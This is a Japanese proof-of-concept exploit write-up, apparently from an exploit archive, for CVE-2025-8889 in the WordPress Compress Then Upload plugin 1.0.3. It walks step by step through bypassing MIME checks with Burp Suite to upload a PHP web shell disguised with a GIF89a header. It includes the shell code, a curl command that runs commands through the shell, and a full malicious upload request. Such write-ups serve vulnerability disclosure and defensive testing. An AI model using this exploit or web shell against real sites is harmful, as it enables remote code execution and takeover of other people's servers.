
CVE-2025-8889の概念実証エクスプロイト: WordPress Compress Then Uploadプラグイン1.0.3での任意ファイルアップロードからRCEへ。Burp Suiteを使用してMIME検証をバイパスし、PHPコードを実行するステップバイステップのPoCを含みます。
日付: 2025-07-23
エクスプロイト作者: Muhammed Çelik
ベンダーホームページ: https://wordpress.com/plugins/compress-then-upload
ソフトウェアリンク: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
バージョン: 1.0.3
テスト環境: Debian、WordPress 6.8.1、Apache 2.4.62、PHP 8.2.28
CVE: CVE-2025-8889
「Compress Then Upload Images」WordPressプラグインは、メディアアップロードインターフェースを介した画像アップロード時に、ファイル拡張子とMIMEタイプを適切に検証しません。クライアント側の検証は存在しますが、アップロードリクエストを傍受して変更することでバイパスできます。
メディアアップロード権限を持つ認証済みユーザー(投稿者(Author)ロール以上)は、以下の方法でこの脆弱性を悪用できます:
ステップ1: 通常の画像ファイルを準備する
通常の画像ファイル(例:regular.jpg)を作成します(有効なJPGファイルであれば何でも可)。
ステップ2: WordPress管理パネルで通常の画像をアップロードする
regular.jpg を通常どおりアップロードします。ステップ3: Burp Suiteでアップロードリクエストを傍受して変更する
filename="regular.jpg" を filename="evil.php" に変更するGIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
注: `GIF89a;` は有効なGIFヘッダーを模倣して、脆弱な画像検証をバイパスします。
Content-Typeはimage/jpegのままにしてください。
変更したリクエストをサーバーに転送します。
ステップ4: アップロードしたWebシェルを実行する
アップロードが成功すると、PHPファイルはuploadsディレクトリに保存されます。例:
http://target-site.com/wp-content/uploads/2025/07/evil.php
ブラウザまたはcurlでアクセスします:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
悪意のあるアップロードリクエストの例(Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>